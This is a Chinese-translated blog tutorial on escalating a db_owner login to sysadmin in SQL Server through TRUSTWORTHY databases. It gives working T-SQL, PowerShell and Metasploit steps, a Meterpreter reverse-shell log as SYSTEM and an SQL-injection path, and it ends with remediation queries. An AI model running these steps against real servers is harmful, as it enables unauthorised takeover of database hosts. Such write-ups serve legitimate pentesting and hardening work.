SQL Server存储过程Hacking(I)之可信数据库

2015-01-02 8,279

SQL Server允许DBA(数据库管理员)设置可信数据库。简而言之,可信数据库就是可以进入外部资源,如网络共享,邮件功能以及其他数据库中的对象。这也并非总是坏事,只是当系统管理员创建一个可信数据库但是没有将其权限降到一个低权限用户,那么风险也就暴露出来了。在这篇文章中,我将展示当数据库用户通常为Web应用创建数据库而且数据库拥有权限配置不当的时候怎么进行SQL Server数据库提权。我想渗透测试师,应用开发者,其他开发者(以及网络安全爱好者)都会被本文十分感兴趣。话说大多数DBA应该已经知道这些东西了。

我会提供基础的实验步骤指南,如果你不是所有章节都感兴趣,你可以随意挑着看。下面是每个章节涉及的内容的总结:

0x01 创建实验环境(Setting up a Lab

0x02 攻击可信数据库(Attacking Vulnerable Databases

0x03 使用PowerShell进行自动化攻击(Automating the Attack PowerShell

0x04 使用Metasploit进行自动化攻击( Automating the Attack Metasploit)

0x05 使用Metasploit进行SQL注入自动化攻击 (Automating the Attack via SQL Injection with Metasploit)

0x06 关于这个问题的修复 (Options for Fixing the Issue)

 

0x01 创建实验环境(Setting up a Lab

接下来我会提供一些建立一个SQL Server数据库实例的基本步骤,以更好的来重现我文中的场景。

1.下载Microsoft SQL Server Express 并安装SQL Server Management Studio。下载地址如下:http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx

2.按照向导一步步安装SQL Server,为了实验测试,请确保开启了混合验证模式并且以LocalSystem权限运行相关服务。

3.在安装过程中,使用SQL Server Management Studio程序时,用“SA”帐户登录SQL Server。

4.单击“New Query”(新建查询)按钮,使用下面TSQL创建一个名为“MyAPPDb”的数据库吧。

-- Create database
CREATE DATABASE MyAppDb 
-- Verify sa is the owner of the application database
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyAppDb'

Hacking_SQL_Img_1

5.单击新建查询按钮,使用下面的TSQL来创建一个名为“MyAppUser”的SQL Server用户。在真实场景中,DBA会创建一个类似这样的帐户使得web应用可以连接数据库服务器。

-- Create login
CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

 

6.单击新建查询按钮,使用如下的TSQL语句给MyAppDb数据库的用户MyAppUser赋予db_owner权限。在实战环境中DBA可能这样做,因为他的web应用中使用的SQL Server要访问它需要的数据库。

-- Setup MyAppUsers the db_owner role in MyAppDb
USE MyAppDb
ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
EXEC sp_addrolemember [db_owner], [MyAppUser];

 

7.确认MyAppUser已经添加了db_owner权限。

 
-- Verify the user was added as db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

Hacking_SQL_Img_2

 

8.设置MyAppDb数据库为可信。

ALTER DATABASE MyAppDb SET TRUSTWORTHY ON

 

9.下面的查询语句会返回SQL Server实例中所有的数据库,数据库MyAppDb以及MSDB会被标记成可信数据库(is_trustworthy_on开关为1即可信)。

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

Hacking_SQL_Img_3

10.使用下面的TSQL语句开启xp_cmdshell,开启这个会简化我们的实验。即使我们没有开启它,它也可能被攻击者启用(大黑阔们搞mssql都这么做)。

-- Enable show options
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
 
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

 

0x02 攻击可信数据库(Attacking Vulnerable Databases

据Microsoft指出,一个系统管理员配置可信数据库的权限时,会有意无意的导致特权帐户提升他们的权限。据我观察,这句话有时候是对的。其实在某些场景中,也有可能是非特权用户提升权限,我会在后续的博文中介绍。现在你就可以依照下面说明提升MyAppUser

用户的权限了。

注意:以下所述是在SQL Server 2005,2008,2012版本中测试的,其他版本作者没有测试。

 

1.使用MyAppUser用户登陆SQL Server,然后执行下面的TSQL语句,创建一个名为sp_elevate_me的存储过程。

这个存储过程在OWNER权限中运行,本案例中使用sa帐户运行。由于是使用sa权限登录的,所以这可能将MyAppUser加入系统管理员组。

另外,这真的是很可能的事情,因为当这个数据库被配置成可信的时候,db_owner角色可以在数据库中任意创建存储过程。

-- Create a stored procedure to add MyAppUser to sysadmin role
USE MyAppDb
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser','sysadmin'
GO

2.继续确认MyAppUser并不是系统管理员

--Verify MyAppUser is not a sysadmin
SELECT is_srvrolemember('sysadmin')

Hacking_SQL_Img_4

3.接下来,执行上述sp_elevate_me存储过程,给MyAppUser用户添加sysadmin角色。

-- Execute stored procedure to get sysadmin role
USE MyAppDb
EXEC sp_elevate_me

 

4.最后,我们再来查询下MyAppUser用户是否拥有系统管理员权限了。(显然上述存储过程执行成功了,已然有了sysadmin权限了)

-- Verify sysadmin role was added
SELECT is_srvrolemember('sysadmin')

Hacking_SQL_Img_5

 

5.好了,现在既然有了系统管理员权限,我们就可以执行操作系统的命令了,就像大家经常用的下面这条。

-- Verify sysadmin role
EXEC master..xp_cmdshell 'whoami'

Hacking_SQL_Img_6

如果你还是对刚才这个过程所发生的细节有所疑问,那么请看我的快速分解如下:

1)sa帐户是数据库MyAppDb的拥有者DBO(database owner)

2)MyAppUser用户在MyAppDb数据库中拥有db_owner权限,也就是说MyAppUser用户在这个数据库中有administrative 管理权限。

3)因为MyAppUser帐户本质上就是MyAppDb数据库中的管理员,所以它可以像所有者Owner权限一样去执行我们的存储过程。

4)在上面例子中,我们只是简单的使用OWNER权限执行一个存储过程(本案例中使用sa用户登录的)将MyAppUser添加到系统管理员组。非常赞,现在我们就是Sysadmin权限啦!

 

0x03 使用PowerShell进行自动化攻击(Automating the Attack PowerShell

我将放出一个小巧的PowerShell脚本来实现上面所述的自动化攻击。下面的截图就展示了它的一些基本操作。

如果你感兴趣的话,可以到这里下载

它支持将当前用户添加到Sysadmin组中,或者创建一个全新的拥有Sysadmin权限的用户。更多细节问题可以参照帮助文档。

Import-Module  .\Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Hacking_SQL_Img_7-1024x251

 

0x04 使用Metasploit进行自动化攻击( Automating the Attack Metasploit)

我知道有些朋友喜欢Metasploit,所以同样的我也有创建一个自动化攻击辅助模块。

这在内网渗透测试中非常有用。

首先,感谢Juan Vazquez,Joshua Smith以及Spencer McIntrye的帮助,这个模块才得以进入Metasploit 大框架。

 

下面是基础操作步骤。

1.在Kali中键入“msfupdate”从Rapid7中更新最新的Metasploit Framework。

2.在终端窗口中运行“msfconsole”

3.选择并配置这个模块,把下面其他信息都替换成你目标的。

use auxiliary/admin/mssql/mssql_esclate_dbowner
set rhost 172.20.10.2
set rport 1433
set username db1_owner
set password MyPassword!

4.使用show options命令查看所有参数都配置对了。

Hacking_SQL_Img_8

5.如果一切都准备好,那么就开始运行吧。

Hacking_SQL_Img_9

6.现在你可以使用像“mssql_payload”的模块获取shell了。

msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set rhost 172.20.10.2
rhost => 172.20.10.2
msf exploit(mssql_payload) > set rport 1433
rport => 1433
msf exploit(mssql_payload) > set username db1_owner
username => db1_owner
msf exploit(mssql_payload) > set password MyPassword!
password => MyPassword!
msf exploit(mssql_payload) > exploit
 
[*] Started reverse handler on 192.168.91.128:4444
[*] The server may have xp_cmdshell disabled, trying to enable it...
[*] Command Stager progress -   1.47% done (1499/102246 bytes)
...[SNIP]...
[*] Sending stage (769536 bytes) to 192.168.91.1
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.91.128:4444 -> 192.168.91.1:4175) at 2014-09-27 10:06:19 -0500
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

 

0x05 使用Metasploit进行SQL注入自动化攻击 (Automating the Attack via SQL Injection with Metasploit)

在外网渗透测试中,我们没看到大量的SQL Servers ,但是我们经常找到很多SQL注入。这也是为什么我写了这个模块。

再次感谢Juan Vazquez和Joshua Smith这俩哥们帮助我把这个模块加入Metasploit大框架。

 

下面是一些基本步骤:

1.在Kali中键入“msfupdate”从Rapid7中更新最新的Metasploit Framework。

2.在终端窗口中运行“msfconsole”

3.选择并配置这个模块,但是一定要记得将目标信息替换了。

use auxiliary/admin/mssql/mssql_esclate_dbowner_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--

 

4.使用show options命令查看所有参数都配置对了。

Hacking_SQL_Img_10

5.如果一切都准备好,那么就开始运行吧。

Hacking_SQL_Img_11

6.现在你可以使用像“mssql_payload_sqli”之类的其他模块了,或者使用PowerShell来反弹获取shells。

 

0x06 关于这个问题的修复 (Options for Fixing the Issue)

Microsoft有一些不错的建议,可以帮助预防这种类型的攻击,所以我建议去查看他们的网站获取更多信息。

自然的,修复方案会十分依赖开发环境和web应用,接下来会有一些选择帮助你一步一步修复。

 

检查这些被设置为“TRUSTWORTHY”并且是sysadmin权限的数据库。

SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

 

如果可以的话,那么将受影响的数据库的“TRUSTWORTHY”设置为off(包括MSDB)。

这可以帮助阻止存储过程中执行xp_cmdshell和一些其他恶意的操作。它还将执行一个仅允许存储过程查询自己所属的数据库信息的沙盒。

ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF

 

另外,保证数据库中的用户不是sysadmin权限。如果你的应用程序需要从外部数据库访问对象及CLR存储过程等,那么下面有些变通的方法可以替代可信数据库。其他常见选项包括:

 

1)开启“cross db ownership chain” ,但是这也会有它自己的风险。更多相关信息可以查看http://msdn.microsoft.com/en-us/library/ms188694.aspx.

2)在外部对象分配权限时候,应该根据不同的应用组选择所需的权限,但这对于管理起来又有一定麻烦。

3)在需要访问外部对象时候使用认证用户和证书来签名存储过程。这是我目前认为最靠谱的解决方案,你可以到微软官网去看看,http://msdn.microsoft.com/en-us/library/bb283630.aspx.

 

结束(Wrap Up

这篇博文主要是帮助渗透测试师,开发者以及dev-ops了解一些常见的SQL Server错误配置可以导致整个SQL Server实体的沦陷。

攻击可以直接通过数据库直接连接,但最有可能是通过对web,桌面程序以及移动应用进行SQL注入。最后希望这篇文,你能够喜欢!

参考(References

http://technet.microsoft.com/en-us/library/ms188304(v=sql.105).aspx
http://msdn.microsoft.com/en-us/library/ms176112.aspx
http://www.troyhunt.com/2012/12/stored-procedures-and-orms-wont-save.html
http://blogs.msdn.com/b/brian_swan/archive/2011/02/16/do-stored-procedures-protect-against-sql-injection.aspx
http://www.codeproject.com/Tips/586207/How-to-prevent-SQL-Injection-in-Stored-Procedures
http://stackoverflow.com/questions/5079457/how-do-i-find-a-stored-procedure-containing-text
http://msdn.microsoft.com/en-us/library/ms176105.aspx
http://www.sommarskog.se/grantperm.html#execascaller
http://msdn.microsoft.com/en-us/library/ms188304.aspx
http://sqljunkieshare.com/2012/02/22/what-is-is_trustworthy_on-option-in-sql-server/
http://support.microsoft.com/kb/2183687
http://technet.microsoft.com/en-us/library/ms180977%28v=sql.90%29.aspx
http://msdn.microsoft.com/en-us/library/bb669065%28v=vs.110%29.aspx

 

 

【原文:hacking-sql-server-stored-procedures-part-1-untrustworthy-databases  翻译 SP小编

Tags:
评论  (2)
快来写下你的想法吧!
  • Pis 2015-01-03 11:36:10

    翻译的有条有理 细节也比较好

  • patch 2015-01-14 10:45:42

    赞赞赞

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号